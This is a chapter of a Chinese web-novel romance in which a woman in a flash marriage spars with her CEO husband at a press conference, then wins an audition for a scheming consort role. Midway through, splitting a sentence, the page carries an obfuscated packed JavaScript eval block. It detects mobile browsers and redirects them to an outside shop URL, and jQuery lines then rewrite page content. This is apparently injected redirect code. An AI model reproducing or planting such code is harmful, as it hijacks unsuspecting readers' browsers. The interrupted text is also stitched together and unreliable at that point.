发布会定在上午十点,地点是顾氏旗下的酒店。整个活动分为两个环节:顾氏新产品官宣发布,以及会后的媒体采访。按照顾时的安排,宁柔只需要出席第二个环节。
大约九点的时候,两人抵达了酒店。顾时去准备产品发布事宜,宁柔则在工作人员的引导下来到了后台的休息室。
她在化妆镜前坐下,造型师在身后摆弄她的头发。她的视线落在镜子里自己身上的那套衣服上。一条裁剪利落的白色套装裙,面料挺括,领口别了一枚珍珠胸针,尺寸分毫不差。
他还记得她的尺码,珍珠也是她喜欢的粉珍珠。
造型师后退一步:“太太,可以了。”
宁柔站起来,对着全身镜整理袖口,白色套裙衬得她整个人端正文雅,完全符合今天这个场合需要的体面端庄。
她拿起妆台上的活动流程表扫了一眼:CEO致辞、产品发布、产品介绍、品牌方合照,媒体提问。
宁柔看了眼时间,第一个环节应该结束了。
果然,休息室外传来敲门声。
林特助站在门外:“宁小姐,时间到了,顾总正在等您。”
两个流程之间大约有十分钟的间隙。早上来时顾时便叮嘱过,他会在这个间隙来接她一同出席采访环节。
宁柔推门出来,顾时正站在走廊上,他已经换了身装扮——黑色西装,暗纹领带。
“走吧。”他的目光在她身上停了一瞬,然后面无表情地别开了。
她快步走到他身旁,语气轻快:“你这身看起来也不错,黑色很适合你,显得你那张脸更冷了。”
跟在两人身后的林特助听到这话,不禁用力抿了一下嘴唇,绷着脸,目光直直盯着前方。
顾时没有接话,只是带着她往会场走,宁柔也不在意,踩着高跟鞋不紧不慢地跟在他身侧。
会场门推开的瞬间,记者们便迫不及待地举起了相机,对着两人就是一顿猛拍,闪光灯不断。
“来了来了!”
“顾先生真的带她来了!”
关于两人感情状况的猜测在人群中此起彼伏地涌动,但很快被主持人压了下去,两人也上了台。
媒体提问环节原本只涉及产品相关内容,但宁柔走进会场的那一刻就已经注意到了,今天坐在这里的,比起财经记者,更多的是各家娱乐版的人。
这是他们闪婚后第一次在公开场合合体,圈里关于这段婚姻的传闻早已发酵出无数版本,这些记者们自然不会放过拿头条的机会了。
果然,自由提问时间一到,前排一位财经记者还没来得及举手,就被一个戴着黑框眼镜的娱乐记者挤了下去,话筒还没完全递到他嘴边,问题就劈头盖脸地砸了过来。
“顾先生,关于您和宁柔小姐的闪婚,外界有很多猜测。您今天能跟我们透露一下,您为什么会和宁柔小姐闪婚吗?”
全场安静,产品发布会的所有商业话题在这一刻全部黯然失色。
宁柔站在顾时身旁,双手交叠放在小腹前方,嘴角挂着淡淡的微笑,恰到好处地展示了一个被问到私事时的豪门太太应有的得体。
顾时手里拿着话筒,他沉默了两秒。
台下开始交头接耳,摄影师把镜头切到宁柔脸上,准备捕捉她的反应。
他余光瞟向她的侧脸,然后开口了,声音平稳。
“婚不是只能结一次。”
全场死寂。
然后是疯了一般的快门声,闪光灯也像暴雨一样砸过来,记者们齐刷刷地从座位上站起来,话筒往前举,录音笔的红灯像一排密集的警示信号。
所有人都知道这句话的言外之意:他不在乎这段婚姻,她也不是他唯一的选择,他想结就结,想离就离。
台下一不知名的记者为了话题,突然站起来大声提问。
“那宁柔小姐呢?对于顾先生这番发言您又怎么看?”
宁柔感受到四面八方的目光向她涌来,但她的表情从始至终都没有变过,甚至还从容地把耳边的一缕碎发别到耳后。
身旁的男人视线落在她身上,他在等她的反应。
她身子微微前倾,对着话筒,露出一个恰到好处的微笑,然后缓缓开了口,语气比他更轻松,更游刃有余。
“随时可以离婚。”
宁柔说完直起身子的时候,余光瞥见顾时握着话筒的手指,指节有些泛白,手背上的青筋微微凸起。
台下炸了,记者们集体沸腾,快门声又疯了一轮。主持人的职业素养让她在错愕中回过神来,干巴巴地打圆场:“两位的发言都……挺幽默,我们继续——”
话音未落,林特助紧急补了一句:“请各位不要再提与本场发布会产品无关的问题,我们顾总与太太将不再做任何回应。”
记者们面面相觑,不敢拆顾家的台。今天拿到的素材已经足够写十个头条了。众人只好悻悻地坐回原位,主持人重新掌控流程。
很快,发布会结束。
宁柔和顾时一前一后走进后台休息室。
门刚关上。
“你刚才那句话是什么意思?”
顾时站在她身后,整个人气压低得可怕,目光死死钉在她身上。
宁柔转过身,表情很是无辜:“配合你啊。你不在乎,我也不在乎,这不是显得我们夫妻感情很和谐吗?”
“很和谐。”他重复这三个字的时候,下颌紧绷,眼神可以杀人。
“对啊。”
她往前走了两步,两人之间只隔着一臂的距离,伸手抚平他胸前西装上并不存在的褶皱,动作轻柔,像只乖巧的小猫咪。
“你上次不是说过吗,公开场合配合出席。我今天配合得很到位吧?”她抬眼看他,“两个互不在乎的人,一对闪婚怨偶,我想媒体会喜欢这个故事的。”
说完,她踮起脚尖凑近他耳边,气息扫过他的耳廓,轻轻道:“怎么样,是不是比你预期的剧本更好看?”
顾时猛地抓住她的手腕,力道不轻,但克制着没有弄疼她。宁柔放下脚跟,对上他冷冽的目光。他喉结滚动了一下,似乎想说些什么,但最终还是没有说出口。
宁柔低头看了看被他攥住的手腕,然后抬起另一只手,把他的手指一根一根从手腕上掰开。紧接着退后一步,转身走到门口。
“今天的配合到此结束,我下午还有试镜,先走了。”
门轻轻合上。
顾时一个人站在休息室里,低头看着自己空落落的手掌,刚才握着她手腕的触感还在掌心发烫。
他忽然从西装口袋内摸出手机,屏幕亮起,屏保是一张模糊的照片:她从前靠在他肩上看电影时,他偷拍的一张侧脸。
他盯着看了两秒,按灭了屏幕。
脑子里现在全是她那句“随时可以离婚”,一想到她说这话时满不在乎地神情,他的面色更加阴沉了几分。
-
下午三点
宁柔准时出现在宋砚短信通知的试镜地点,试镜本来约的是明天,但另一位导演临时改了时间,宋砚昨晚连夜通知了她。
这次试镜的古装剧名叫《瑶光记》,不算什么大制作,剧本倒是不错——讲的是一个亡国公主隐姓埋名混进敌国皇宫,从宫女一步一步往上爬的故事。
宁柔昨晚看完人物小传就决定:她要试女二号。一个心机深沉的贵妃,表面温婉背地捅刀,是个有层次的反派,也是除去女主后最有记忆点的角色。
来之前,她已经找地方换了身便装:一条素色连衣裙,平底鞋,头发随意扎了个马尾。走进候场室时,满屋子打扮精致的女演员齐刷刷抬头看了她一眼。
宁柔找了个角落坐下,从包里掏出剧本继
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589465|205425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
续看。
“你也是来试贵妃的?”旁边的女孩凑过来,小声搭话,“你听说了吗,杨导定了温以棠演女一。”
她笑了笑没接话,谁演女一跟她没关系,她只在乎能不能拿下这个角色。
女生见她不说话遂即放弃了同她套近乎。
轮到宁柔的时候已经快下午四点了。
她推门进去,正中间坐着杨立,一位年过花甲的老导演,宋砚提过的合作伙伴,在国内有些名气。宋砚有事不在,试镜由他和一位副手负责。
她进去时,杨立正好起身。
“你先看着,我去下洗手间。”他对身旁的副手说道。
待他走后,副手开始翻看宁柔的简历,目光落在姓名那一栏时,他的头“嗖”地抬了起来。
“哟,还真的是你啊。”
宁柔这才认出副手是原身的表哥赵璟,跟宁雪吟关系很好,两人从小就合伙变着法欺负原身。
赵璟靠着椅背,脸上挂着嘲弄的神情:“顾家太太也要亲自跑组?”他低头又看了眼桌上的简历,从鼻子里哼出一声,“还是女二,怎么不叫你老公给你安排女一啊。”
说完,他转头看着旁边那些默不作声的工作人员,自顾自笑了起来。
“哎呀,我忘记了,你们夫妻感情不睦。”
宁柔看着他那张写满“小人得志”的脸,忽然笑了。
“你忘记了我可没忘。”她轻勾嘴角,语气中是毫不掩饰的挑衅,“走后门的,连个正经学历都没有的,毫无专业能力,只会八卦的赵~副~手。”说到他名字时,故意一字一顿。
赵璟从小不学无术,能进组全靠宁雪吟拜托赵婉帮他找关系,而宁雪吟帮他,也不过是需要一条能差使的会咬人的狗。
就像今天这样。
“你——!”赵璟没想到眼前的宁柔就跟变了个人一样,如此会怼,他的脸都气成了猪肝色。他“啪”地在宁柔简历上盖了个“不通过”的章,冲着她吼道,“赶紧滚吧!这里我说了算!”
“你说了算?”
门口传来一声冷笑。
宋砚不知什么时候来的,他靠在门框上,目光扫过赵璟。
“什么时候也轮得到你说话了?”
赵璟一愣,脸色瞬间变了几变,慌忙找补:“宋导别误会,她已经试过了,她不行。”
宋砚正眼都没给他一个。杨立正好从洗手间回来,宋砚冲他招了招手,走到宁柔身旁,语气比刚才缓和了不止一点。
“杨老师,这就是我要给您推荐的那位演员,宁柔。”
杨立看了看宁柔,慈祥地笑了笑,“听小砚说过了,我也看过你之前那部剧的表现,确实不错。”
“谢谢杨导。”
宋砚陪着杨立走到座位前,经过赵璟身边时停了一步。
“滚。”
一个字,声音不大,但整个房间的空气都震了一下。赵璟灰溜溜夹着包跑了,连头都不敢回。
他走后,宁柔的试镜很顺利,杨导又夸了她几句,当场就拍板定了贵妃这个角色。
等她从片场出来的时候已经是晚上七点多了,天色暗了大半,路灯刚亮起来,宋砚和她并肩往停车场走。
“没想到你会特意过来,今天的事,谢谢你帮忙。”
“事办完了,想着顺道来看看你试镜怎么样。”宋砚笑了笑,声音在晚风里显得有些轻,他的目光落在不远处的白色商务车上,“不早了,这边不好打车,我送你回去吧。”
宁柔点了点头:“谢谢。”
她和宋砚聊着新戏的档期安排,一同上了车。她侧头听他说了句什么,然后笑了一下。
车缓缓驶出停车场,尾灯在夜色中渐渐模糊。
不远处,一辆黑车停在路边。
顾时坐在驾驶座上,握紧了捏着方向盘的手。